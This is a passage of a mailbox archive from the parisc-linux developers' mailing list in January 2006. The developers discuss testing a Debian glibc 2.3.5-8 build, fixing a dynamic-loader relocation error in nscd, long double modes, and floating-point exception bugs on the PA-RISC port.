> I am building you a new debian glibc based on 2.3.5-8 for you to test,
> would this be good?

Yes.

Do you also have a fix for FP exception support?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nscd: error while loading shared libraries:
Date: Sat, 7 Jan 2006 18:51:37 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20060107235137.GS17559@baldric.uwo.ca>
References: <200512270014.45080.vapier@gentoo.org>
	<200512271815.jBRIF1rH022390@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623983 17835 80.91.229.3 (22 Nov 2014 02:39:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 23:51:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 08 Jan 2006 00:51:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7488A7D81F;
	Sat,  7 Jan 2006 16:51:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28735-04; Sat, 7 Jan 2006 16:51:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C54797D822;
	Sat,  7 Jan 2006 16:51:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 111CE7D81E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:51:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28651-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 16:51:45 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 6F0C27D7ED
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:51:45 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EvNqT-0006XC-00; Sat, 07 Jan 2006 18:51:37 -0500
Content-Disposition: inline
In-Reply-To: <200512271815.jBRIF1rH022390@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TDGyY9BCeSEkMr6WZHQhaXN1IGRvb4Ba
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23350

On Tue, Dec 27, 2005 at 01:15:01PM -0500, John David Anglin wrote:
> > good news though, when i mentioned this before:
> > http://lists.parisc-linux.org/pipermail/parisc-linux/2005-July/026865.html
> > people said it's in the works to be fixed :)
> 
> It seems this issue has fallen through the cracks.  I know Carlos has
> been busy finishing up his thesis.  The relocation problem is a separate
> issue from PIE support as it could arise independently.

But AFAIR with the relocation support in place PIE just works (tm).

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: nscd: error while loading shared libraries:
	unexpected reloc type 0x42
Date: Sat, 7 Jan 2006 18:53:24 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <20060107235323.GT17559@baldric.uwo.ca>
References: <200512262154.jBQLshmK018411@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623984 17839 80.91.229.3 (22 Nov 2014 02:39:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 23:53:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 08 Jan 2006 00:53:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A40727D83B;
	Sat,  7 Jan 2006 16:53:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28979-01; Sat, 7 Jan 2006 16:53:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 679817D832;
	Sat,  7 Jan 2006 16:53:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C3937D82E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:53:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28771-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 16:53:31 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id EC7547D81F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:53:30 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EvNsC-0006Xf-00; Sat, 07 Jan 2006 18:53:24 -0500
Content-Disposition: inline
In-Reply-To: <200512262154.jBQLshmK018411@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0TGyY9YheSEkdr6WZHQhaXN1IGRvbwDt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23351

On Mon, Dec 26, 2005 at 04:54:42PM -0500, John David Anglin wrote:
> > So they must come from an asm or assembly code.  I think libc used this
> > reloc for loading the address of the function descriptor of main.
> 
> objdump -R nscd
> ...
> 00005970 R_PARISC_PLABEL21L  main
> 00005974 R_PARISC_PLABEL14R  main
> 00005980 R_PARISC_PLABEL21L  __libc_csu_init
> 00005984 R_PARISC_PLABEL14R  __libc_csu_init
> 00005988 R_PARISC_PLABEL21L  __libc_csu_fini
> 0000598c R_PARISC_PLABEL14R  __libc_csu_fini
> 
> If I recall correctly, there was a dynamic loader fix to handle these
> relocations.  However, it doesn't seem to be in libc6 2.3.5-8.

It is in the one I have installed on my system :)

The proper fix was this:
http://cvs.parisc-linux.org/glibc/sysdeps/hppa/elf/start.S?r1=1.2&r2=1.3

Please verify.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: strtold
Date: Sat, 7 Jan 2006 18:56:39 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200601072356.k07NudAX021215@hiauly1.hia.nrc.ca>
References: <20060107234230.GQ17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623984 17840 80.91.229.3 (22 Nov 2014 02:39:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:44 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 23:56:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 08 Jan 2006 00:56:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 275987D841;
	Sat,  7 Jan 2006 16:56:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29170-08; Sat, 7 Jan 2006 16:56:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 805337D842;
	Sat,  7 Jan 2006 16:56:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC8EA7D840
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:56:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29257-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 16:56:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 44E367D83D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:56:41 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k07Nudil021217; Sat, 7 Jan 2006 18:56:40 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k07NudAX021215;
	Sat, 7 Jan 2006 18:56:39 -0500 (EST)
In-Reply-To: <20060107234230.GQ17559@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 7, 2006 06:42:30 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FzCyYxU8eSEkTr6WZHQhaXN1IGRvb4DC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23352

> So long doubles have always been DFmode in GCC, okay, I thought it was
> something else.

linux long doubles are DFmode (hardware+kernel support).  hpux long
doubles are TFmode (software emulation).  Sometimes I wish there was
an option to switch between hardware and software long doubles on
hpux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: strtold
Date: Sat, 7 Jan 2006 19:08:49 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200601080008.k0808n4E021273@hiauly1.hia.nrc.ca>
References: <20060107235546.GU17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623984 17843 80.91.229.3 (22 Nov 2014 02:39:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:44 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 00:09:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 08 Jan 2006 01:09:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C43567D84B;
	Sat,  7 Jan 2006 17:08:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29346-05; Sat, 7 Jan 2006 17:08:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA6117D845;
	Sat,  7 Jan 2006 17:08:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3F737D830
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 17:08:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29257-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 17:08:51 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 33FDC7D827
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 17:08:51 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k0808nil021274; Sat, 7 Jan 2006 19:08:50 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k0808n4E021273;
	Sat, 7 Jan 2006 19:08:49 -0500 (EST)
In-Reply-To: <20060107235546.GU17559@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 7, 2006 06:55:46 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Sj2yYwk4eSEkY76WZHQhaXN1IGRvb4C3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23353

> > Do you also have a fix for FP exception support?
> 
> Do you refer to the fenv_t align problems?

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=327351.  Vaguely
I thought that there might have been a similar issue in fesetexceptflag
or feraiseexcept.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: nscd: error while loading shared libraries:
Date: Sat, 7 Jan 2006 19:16:19 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200601080016.k080GKoG021321@hiauly1.hia.nrc.ca>
References: <20060107235323.GT17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623985 17847 80.91.229.3 (22 Nov 2014 02:39:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 00:16:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 08 Jan 2006 01:16:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 282BC7D84E;
	Sat,  7 Jan 2006 17:16:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29456-08; Sat, 7 Jan 2006 17:16:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E7C17D84F;
	Sat,  7 Jan 2006 17:16:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BE3F7D84D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 17:16:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29456-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 17:16:21 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8E7787D833
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 17:16:21 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k080GKil021322; Sat, 7 Jan 2006 19:16:20 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k080GKoG021321;
	Sat, 7 Jan 2006 19:16:20 -0500 (EST)
In-Reply-To: <20060107235323.GT17559@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 7, 2006 06:53:24 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iDyyY3JCeSEkM76WZHQhaXN1IGRvb4AP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23354

> The proper fix was this:
> http://cvs.parisc-linux.org/glibc/sysdeps/hppa/elf/start.S?r1=1.2&r2=1.3
> 
> Please verify.

Looks right.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] Updated glibc 2.3.5-8.1
Date: Sun, 8 Jan 2006 14:03:31 -0500 (EST)
Lines: 120
Approved: news@gmane.org
Message-ID: <200601081903.k08J3Wvh024822@hiauly1.hia.nrc.ca>
References: <20060108030342.GA17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623985 17852 80.91.229.3 (22 Nov 2014 02:39:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 19:03:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 08 Jan 2006 20:03:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05CD77D740;
	Sun,  8 Jan 2006 12:03:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06417-03; Sun, 8 Jan 2006 12:03:40 -0700 (MST)
